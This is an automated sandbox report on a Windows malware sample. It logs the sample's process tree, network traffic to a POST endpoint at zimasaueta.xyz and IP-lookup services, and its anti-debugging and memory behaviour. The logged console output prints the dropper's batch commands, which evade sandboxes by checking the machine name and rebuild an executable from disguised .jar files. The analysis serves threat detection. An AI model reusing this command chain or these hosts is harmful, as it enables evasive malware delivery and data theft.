Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	July 31, 2021, 1:24 p.m.	July 31, 2021, 1:46 p.m.

Size	1.1MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`0602d74b76caa2200b12f83c8a77b617`
SHA256	`c81ccfef5ce97e9647b89a79b4adbdb73feceea4c8ed0fa88b33f02e52859b8f`
CRC32	`0AE88252`
ssdeep	`24576:O7WVBJ21Phu7NbcPEipoZDO7yeLa0kKA+Br/PWkZTRMA:IGFqEi2Za7/Lx3p/+SB`
Yara	IsPE32 - (no description) Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature

112233.exe "C:\Users\test22\AppData\Local\Temp\112233.exe"
676
- cmd.exe "C:\Windows\System32\cmd.exe" /c cmd < Vedrei.jar
  2176
  - cmd.exe cmd
    2236
    - findstr.exe findstr /V /R "^TvDNxkTHNPhDVtbGlizRibXOirOUSPkjlRfWzTaCXCCWENaFQfomEzKcmOGsbZPYEwarOAhdPQUFUqpzLotCGLHRiTvEhwyYNEaCcgQfeSKNmyAmEjFfVjaSzAWUtIeOLVRdHHYvsOA$" Chiamando.jar
      2304
    - Scegliendo.exe.com Scegliendo.exe.com r
      2364
      - Scegliendo.exe.com C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Scegliendo.exe.com r
        2432
        
        RegAsm.exe C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
        2728
    - PING.EXE ping test22-PC -n 30
      2488

Name	Response	Post-Analysis Lookup
WkzPWeDhlRXhpXuMD.WkzPWeDhlRXhpXuMD
api.ip.sb	CNAME api.ip.sb.cdn.cloudflare.net A 104.26.13.31 A 104.26.12.31 A 172.67.75.172	104.26.12.31
iplogger.org	A 88.99.66.31	88.99.66.31
zimasaueta.xyz	A 146.185.239.11	146.185.239.11

IP Address	Status	Action
104.26.13.31	Active	Moloch
146.185.239.11	Active	Moloch
164.124.101.2	Active	Moloch
88.99.66.31	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49179 -> 88.99.66.31:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49173 -> 104.26.13.31:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49178 -> 88.99.66.31:443	906200022	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.102:49179 88.99.66.31:443	C=GB, ST=Greater Manchester, L=Salford, O=Sectigo Limited, CN=Sectigo RSA Domain Validation Secure Server CA	CN=*.iplogger.org	55:1e:13:99:46:1c:67:40:a3:48:7f:38:0d:16:e7:51:f4:c4:43:cb
TLSv1 192.168.56.102:49173 104.26.13.31:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	5e:7d:19:2d:d7:66:0c:63:45:a5:24:8f:b7:db:35:a7:61:6d:89:0e

Queries for the computername (11 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 31, 2021, 1:25 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 31, 2021, 1:24 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:24 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:24 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:25 p.m.			0	0
IsDebuggerPresent July 31, 2021, 1:25 p.m.			0	0

Command line console output was observed (50 out of 87 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: Microsoft Windows [Version 6.1.7601] console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: Copyright (c) 2009 Microsoft Corporation. All rights reserved. console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: Set BcHgWkKoME=DESKTOP- console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: Set GWEuRmHzZIC=QO5QU33 console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: if %userdomain%==%BcHgWkKoME% exit console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: Set PQJNoznztfzixnYpCWkXWcZpfaITOBZWuiTl=MZ console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: <nul set /p = "%PQJNoznztfzixnYpCWkXWcZpfaITOBZWuiTl%" > Scegliendo.exe.com console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: findstr /V /R "^TvDNxkTHNPhDVtbGlizRibXOirOUSPkjlRfWzTaCXCCWENaFQfomEzKcmOGsbZPYEwarOAhdPQUFUqpzLotCGLHRiTvEhwyYNEaCcgQfeSKNmyAmEjFfVjaSzAWUtIeOLVRdHHYvsOA$" Chiamando.jar >> Scegliendo.exe.com" console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: copy Dalla.jar r console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: start Scegliendo.exe.com r console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:24 p.m.	buffer: ping %userdomain% -n 30 console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:25 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleW July 31, 2021, 1:25 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\7ZipSfx.000> console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:24 p.m.	buffer: Pinging test22-PC [fe80::4cc:7185:d814:e56e%11] console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:24 p.m.	buffer: with 32 bytes of data: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:24 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:24 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: time<1ms console_handle: 0x00000007	1	1
WriteConsoleA July 31, 2021, 1:25 p.m.	buffer: Reply from fe80::4cc:7185:d814:e56e%11: console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (9 events)

Time & API	Arguments	Status	Return
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e5028 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e5028 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e5068 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x06141ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x06141ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x06141900 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x06141d40 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x06141e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 31, 2021, 1:25 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x06141e00 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 31, 2021, 1:24 p.m.		1	1	0

The executable uses a known packer (1 event)

packer

Armadillo v1.71

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ July 31, 2021, 1:25 p.m.	stacktrace: 0xaa8512 0xaa848f 0xaa1942 0xaa085c 0xaa0070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72822652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7283264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72832e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728e74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x728e7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72971dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72971e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72971f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7297416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73caf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f27f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f24de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77199ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77199ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 06 8b 15 2c exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xaa85a1 registers.esp: 1961788 registers.edi: 46114800 registers.eax: 0 registers.ebp: 1961812 registers.edx: 4945664 registers.ebx: 43001508 registers.esi: 46114980 registers.ecx: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

July 31, 2021, 1:25 p.m.

stacktrace:

0xaa8512
0xaa848f
0xaa1942
0xaa085c
0xaa0070
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72822652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7283264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72832e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728e74ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x728e7610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72971dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72971e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72971f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7297416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73caf5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f27f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f24de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77199ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77199ea5

exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 06 8b 15 2c
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xaa85a1
registers.esp: 1961788
registers.edi: 46114800
registers.eax: 0
registers.ebp: 1961812
registers.edx: 4945664
registers.ebx: 43001508
registers.esi: 46114980
registers.ecx: 0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	POST method with no referer header, POST method with no useragent header	suspicious_request	POST http://zimasaueta.xyz/
suspicious_features	GET method with no useragent header	suspicious_request	GET https://api.ip.sb/geoip
suspicious_features	GET method with no useragent header	suspicious_request	GET https://iplogger.org/1RLxp7

Performs some HTTP requests (3 events)

request	POST http://zimasaueta.xyz/
request	GET https://api.ip.sb/geoip
request	GET https://iplogger.org/1RLxp7

Sends data using the HTTP POST Method (1 event)

request

POST http://zimasaueta.xyz/

Allocates read-write-execute memory (usually to unpack itself) (50 out of 89 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 31, 2021, 1:24 p.m.	process_identifier: 676 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e92000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:24 p.m.	process_identifier: 2364 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e92000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:24 p.m.	process_identifier: 2432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e92000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2432 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d12000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00890000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00960000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e62000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7384b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72821000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72822000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743ea000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7433f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73ee1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d51000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 31, 2021, 1:25 p.m.	process_identifier: 2728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73c81000 process_handle: 0xffffffff	1
